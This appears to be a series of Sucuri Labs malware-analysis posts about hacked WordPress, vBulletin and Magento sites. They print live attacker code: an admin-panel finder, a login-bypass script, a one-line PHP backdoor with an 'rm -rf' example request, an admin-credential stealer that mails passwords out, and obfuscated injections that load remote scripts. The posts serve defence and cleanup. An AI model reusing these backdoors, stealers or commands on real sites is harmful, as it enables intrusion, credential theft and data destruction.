Category: Uncategorized

There is often a misconception regarding the tools that attackers implement in their malicious activity, and that misconception is that they must be using advanced computer programs to target and exploit other computers.

This is not always true, and it is not uncommon to see simplistic tools used, such as the following:

This tool uses simple PHP coding to create an array of segmented URLs that are then appended to the domain name that is provided by the malicious user. It's commonly known as an admin finder as noted by the web page title (hacker group name removed).

if (isset($_POST["submit_lol"])) {
$url = $_POST['hash_lol'];
echo "<br /> COCOL ".$url."<br /><br />";
 
$adminlocales = array("/adminweb/index.php", "/adminsekolah", "/webmaster", "/operator", "/redaktur", "/moderator", "/login@web", "/admin@web", "/adminlogin", "/loginpanel", "/adminpanel", "/login@web", "/admin1.php", "/adminweb", "/Login",  "/login", "/redaktur", "/redakturweb", "/administrator", "/sika", "/develop", "/ketua", "/author", "/user", "/users",   "/dinkesadmin", "/retel", "/panel", "/paneladmin", "/panellogin", "/redaksi", "/cp-admin", "/master", "/master/index.php",    "/master/login.php", "/operator/index.php", "/sika/index.php", "/develop/index.php", "/ketua/index.php", "/redaktur/index.php",    "/admin/index.php", "/administrator/index.php", "/adminweb/index.php", "/user/index.php", "/users/index.php", "/dinkesadmin/index.php", "/retel/index.php", "/author/index.php", "/panel/index.php", "/paneladmin/index.php", "/panellogin/index.php", "/redaksi/index.php", "/cp-admin/index.php", "/operator/login.php", "/sika/login.php", "/develop/login.php",    "/ketua/login.php", "/redaktur/login.php", "/admin/login.php", "/administrator/login.php", "/adminweb/login.php");
     
foreach ($adminlocales as $admin){
$headers = get_headers("$url$admin");
if (eregi('200', $headers[0])) {
      echo "<a href='$url$admin'>$url$admin</a> >>> KETEMU GAN!<br />";
}
else {
      echo "$url$admin >>> GAK BISA GAN!<br />";
}
}
}

The coding behind the tool itself is almost as simple as the web page it displays. It just captures the domain name through a POST request sent via HTML form, assigns it to the $url variable, then uses a pre-set array of common admin segmented URLs through the $adminlocales variable, and combines the two to complete a full URL. Afterwards, it sends a request and if the request comes back with a valid HTTP "200 OK" code, then it outputs the URL with the Indonesian text "KETEMU GAN!" (I couldn't find an accurate translation, but I assume it's "URL GOOD"). If the web server returns anything other than "200 OK", then it outputs the "GAK BISA GAN!" text.

From there, attackers may use the results of the tool to gain access to administrator interfaces through brute force attempts.

All things considered, it's a very unsophisticated tool and could be much more efficient if run from a terminal with a proxy connection versus a compromised web server.

On a daily basis we find different kinds of malware like backdoors, credit card stealers, injected scripts, and phishing pages. While each one of those catches our attention, we recently found an interesting WordPress administration login bypass script.

This technique, login bypass, is often used after the website is compromised because attackers can easily access the post, page, and widget section without spending hours trying different username & password combinations in a brute-force attack, for instance.

The malicious script (theme.php) was injected into the theme structure with the intention of blending in with good code and trying to go undetected.

Here is a snippet of the malware:

require('./../../../../../../../wp-blog-header.php');$query_str = "SELECT ID FROM $wpdb->users";…if (user_can($user_id, 'administrator')) {   …    $user_login = $user_info->user_login;   …    do_action('wp_login', $user_login);       echo "You are logged in as $user_login";       if (function_exists('get_admin_url')) {           wp_redirect(get_admin_url());

The code is very straightforward. First, it includes the wp-blog-header.php file that subsequently loads functions from wp-config.php related to login capabilities.

Secondly, the malware checks if the user_id fetched from the database has administrator privileges -the location of ‘wp-admin’ URL location via ‘get_admin_url()’ function. If all these criterias match, the attacker is then redirected (wp_redirect) to the wp-admin URL with administrator access to the backend without sending any username / password combination.

In these types of attacks, we also noticed that bogus admin users may be created into the backend interface. If you suspect of a compromise, or identify a user with administrator privileges that you haven’t created, we highly recommend taking a backup of your database, removing the user and changing the password for all other users.

As a good security practice, users should have access only to the resources they need to, as WordPress implemented this very well through the different roles a user could have in the backend (Subscriber, Editor, Contributor, Author, Administrator, etc.). Make sure to take advantage of this feature and prevent further damage to your website and online presence.

We also recommend having a File Integrity Monitor in place and a Website Firewall to prevent further issues from happening.

Each and every day the attackers get more clever and exploit new attack vectors. Sucuri Labs recently found a malicious JavaScript hidden in the database of a WordPress website.

The malicious code was injected inside a legit widget of the website:

s:6:"filter";b:1;}i:6;a:3:{s:5:"title";s:0:"";s:4:"text";s:515:"<?php$r=$_SERVER[base64_decode('SFRUUF9SRUZFUkVS')]; $h=$_SERVER[base64_decode('U0VSVkVSX05BTUU=')]; $s=base64_decode('PHNjcmlwdCBzcmM9Imh0dHAclVmIj48L3ND4NCg=='); $p = strpos($r, $h); if(($p===false)&&($r<>'')){echo $s;}if(current_user_can('administrator') || current_user_can('editor') || current_user_can('author') || current_user_can('contributor')) {?>

No heavy encoding or obfuscation was used for this attack, just simple base64 encoding. After decoding the strings, we found that it loads malicious JQuery Java script from shorten URL:

<script src="hxxp://g00(.)co/P4YrUf"></script>

That follows to this free JS script hosting website:

hxxp://yourjavascript(.)com/5123133466/jquery-migrate-min-g4.js

which injects spammy iframes inside the widget.

If you think that you are victim of such an attack, check your database for the above encoded strings in base64, update all of your plugins, and check all of your widgets for suspicious activity. You can trust our Security Engineers at https://sucuri.net for checking your website for more malicious code if you are unsure that the infection was cleared.

A very common pattern in compromised websites is the presence of backdoors and other malicious codes. Attackers use different techniques and malware to abuse of server resources, distribute spam and at the same time, maintain access to the site for as long as they can.

One of the most used backdoors for that purpose is the C99 web shell. For those of you who are not familiar with it, C99 is a variation of the WSO shell with additional functionalities. It pretty much allows the attacker to manage your website remotely, including executing arbitrary remote commands directly into your system, navigate through a file manager interface, read arbitrary file and much more.

This kind of shell is most typically found on files but recently we found it on a database within a vBulletin site. vBulletin is a prime candidate for database based backdoors due to the ability that the CMS grants to running PHP directly from the database without any kind of control.

One of the most used table to store malicious content is the vBulletin ‘datastore’ table, more specifically the ‘pluginlist’ record, through this table they can easily add any kind of PHP code and that code will become part of any plugin that is installed on the website.

Sometimes the attackers also add the malicious code as an entire plugin by adding it on the ‘plugin’ table. In this case, we have a plain regular shell appearing when we access /forum.php/subscriptions.php

The path where it is accessible may look strange but on vBulletin the requests are handled by forum.php instead of the common index.php.

Upon tracing it we found the culprit in the database within the ‘plugin’ table:

From the image above, we see 2 records posing as init_startup plugins. This is a highly unusual scenario as it’s not valid for more than 1 plugin to have the same name within vBulletin.

We identified the plugins responsible for displaying the shell, however those still need to have an occurrence within the ‘pluginlist’ row inside the ‘datastore’ table for it to be actually enabled and act on the site.

By taking a quick look at those records, we found various pieces of malicious code

s:12:"init_startup";s:63824:"if (strpos($_SERVER['PHP_SELF'],'subscriptions.php')) {eval(gzinflate(base64_decode('CODE REMOVED')));exit;}
if (strpos($_SERVER['PHP_SELF'],"subscriptions.php")) {eval(gzinflate(base64_decode('CODE REMOVED')));exit;}";

When checking the database entry, we see 2 sets of codes that have the same purpose which may indicate that different attackers exploited the same vulnerability through an automated system and added the same malware.The funny thing is that after the first “exit” instruction, the second set of code becomes non-functional as it will no longer be read by the server and executed.

In other words, the first attacker compromised the site and then the second one attempted the exact same thing but since the “init_startup” already existed, their system simply infected the already existing plugin. Since the first infection was the regular shell and not the c99, this means that the c99 did not work.

There was also another small but powerful malware added into the database

s:15:"global_complete";s:60:"if(isset($_REQUEST['x'])){$_REQUEST['x']($_REQUEST['y']);}";s:16:"showthread_start";

Through this code the entire forum is a backdoor regardless of the area you are in, all that is required is to send and instruction through any request such as $_GET or $_POST like “forum.php?x=shell_exec&y=rm -rf ./”, it may look an extremely simple and small set of instructions but it’s more than enough to delete all the files of the site. Many other instructions can be sent to take other actions such as infect the site with other kinds of malware. What if the infections had some sort of incompatibility between each other? And what if the result was destructive to your website?

There are many things that can go wrong as soon as your website becomes vulnerable, so it’s extremely important to keep it secure at all times and ensure that you have a firewall protection  otherwise you never know what the next infection may bring.

Lately we've been dealing with an increase in attacks against ecommerce platforms. Attackers usually choose this type of solution (like Magento & others) because of the sensitive information on credit cards they can extract, as well as other potential monetary gains.

Different from other cases where they went straight to the checkout process, attackers injected a malware inside the core file "app/code/core/Mage/Admin/Model/Session.php" directly after the code used to authenticate an admin user.The malicious code is collecting the submitted information and sending it to a Gmail account via the mail function.

mail("malicious-email","Admin From ".$_SERVER['HTTP_HOST'],"Login : ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."nUsername : ".$username."nPassword : ".$password."nIP Log : ".$_SERVER['REMOTE_ADDR']);

Once login credentials are obtained, a malicious user could not only access the credit card information from the database but modify the site and add malware to infect users visiting the website. The website where this malware was found ran on Magento 1.9.0.1 which is known to have a remote code execution vulnerability. We believe this to be the attack vector used to compromise this website and inject this malware along with other malicious files.

It appears that Magento sites are being targeted heavily. In most cases we see credit cards being stolen but it looks like login credentials are also being collected. We recommend keeping your Magento installations up to date at all times. If you are unable to upgrade your Magento, we recommend placing the site behind our Website Firewall (CloudProxy ) which will virtually patch the CMS.

Last but not least, we recently published two other techniques that attackers may use to steal back-end credentials. You can check those here:

Magento Login credentials stealer

Magento CC stealer adding user's credentials to the loot

For many years, spam injections placed inside legitimate pages remain one of the prevalent types of black hat SEO hacks that we clean. Hackers constantly invent new tricks to make spam blocks invisible to human visitors while indexable by search engines.

The simplest trick is to put spam content inside a <div> with the display:none style. This is quite straightforward and easy to detect. A more complex evolution of the same idea is making the <div> invisible at pageload time using a JavaScript code like this:

document.getElementById(‘spam-div-id’),style.display = ‘none’;

It’s still easy to see which <div> is being hidden by the above code. So the next step in the obfuscation was a dynamic generation of the spam div ids inside the code. We described this approach in the “Double Hidden Style” labs note a couple of years ago. Hackers used random “numeric” div ids and mathematical expressions to generate the ids in the code:

<div id="232">...spammy content here...</div>
<script>document.getElementById(116*2).style.display='none';</script>

The code still looks suspicious as it’s clear that it makes something invisible. So hackers improved the obfuscation - in addition to a more complex mathematical expression, now instead of the suspicious “display” and “none” you can only see benign “play” and “one”.

<script>(function(g,h,i,f){i.getElementById(f).style['dis'+g]='n'+h;})('play','one',document,214*102+105);</script>

The script remains short but it’s not that easy to tell what it does when you first see it. However, when you look at it more thoroughly, you can notice that it does exactly the same thing - hides an HTML element with a “numeric” id:

document.getElementById(214*102+105).style[‘display’]=’none’;

This is just one line of the spam-hiding code evolution. There are many other approaches that hackers use to hide spam injections from human visitors and make them look legitimate for search engines. We are here to help you detect them and remove malware from your sites.

Injecting malware into core files of CMS installations is one of the techniques attackers use. From the user’s perspective, it is easier to detect and remediate such cases if they are using a File Integrity Monitoring system. On the other hand, if they are not monitoring file changes, they could be afraid of modifying such core files, therefore leaving the website infected.

During an incident response investigation, we identified the following obfuscated javascript injection in the WordPress core file “wp-includes/general-template.php”, after the _wp_render_title_tag() function:

function _wp_render_title_tag() {/*general-template.php content*/echo "<script type=\"text/javascript\">
(function(){var dazhyaft=\"\";var ybfsrany=\"77696e646f772e6f6e6c6f6164203d2066756e6374696f6e28297b
66756e6374696f6e20783232627128612c622c63297b69662863297b7661722064203d206e6577204461746528293b642e73657…
223b646f63756d656e742e626f64792e617070656e644368696c64287832326471293b7d7d\";for (var kytiafaz=0;kytiafaz<ybfsr
any.length;kytiafaz+=2){dazhyaft=dazhyaft+parseInt(ybfsrany.substring(kytiafaz,kytiafaz+2), 16)+\",\";}dazhyaft=dazh
yaft.substring(0,dazhyaft.length-1);eval(eval('String.fromCharCode('+dazhyaft+')'));})();
</script>";/*general-template.php content*/

After decoding the snippet, the resulting code shows that a hidden div element is being created and an iframe loads inadvertent ads from hxxp://css(dot)belayamorda(dot)info to be displayed to the user:

window.onload = function(){function x22bq(a,b,c){if(c){var d = new Date();d.setDate(d.getDate()+c);}
if(a && b) document.cookie = a+'='+b+(c ? '; expires='+d.toUTCString() : '');else return false;}
function x33bq(a){var b = new RegExp(a+'=([^;]){1,}');var c = b.exec(document.cookie);if(c) c = c[0].split('=');
else return false;return c[1] ? c[1] : false;}var x33dq = x33bq("981a2d4e141fa25ceb17c79b9e0ee049");
if( x33dq != "c5ba5b8128ad05ae33785022d9e5b54c"){x22bq("981a2d4e141fa25ceb17c79b9e0ee049","c5ba5b8128ad05ae33785022d9e5b54c",1);
var x22dq = document.createElement("div");var x22qq = "hxxp://css(dot)belayamorda(dot)info/megaadvertize/?IQRnEBD&
keyword=c7d84cf6c52e44cbf494014dfc02d644&DSrLnkZjqC=BSdtLdwZ&vizGGpXMTbm=NZntgCeGxhrN&
twXzSBMLVmkBdsV=filjyodeEPIQPmysLRB&;pdWAGdxIyxfw=mALvqaAUeBl&BFELVKttdIedUh=wLQEMhvAaxckLF";
x22dq.innerHTML="<div style='position:absolute;z-index:1000;top:-1000px;left:-9999px;'><iframe src='"
+x22qq+"'></iframe></div>";document.body.appendChild(x22dq);}}

As you can see the ads are hidden using the div element, they are pushed -1000px in order to be outside the screen but Google and other search engines can still see it and index it. This could be easily missed when reviewing the website if you are only looking at the live version of your website. Since the Search Engines are able to fetch the content, the site could get penalized and added into their Blacklist.

If you follow best security practices and have a monitoring integrity system in place as we mentioned in the beginning, you should be able to identify such issue and remediate it quickly by replacing the CMS core files. If you don’t, we highly recommend adding that piece into your website and a Website Firewall to prevent such issues from happening.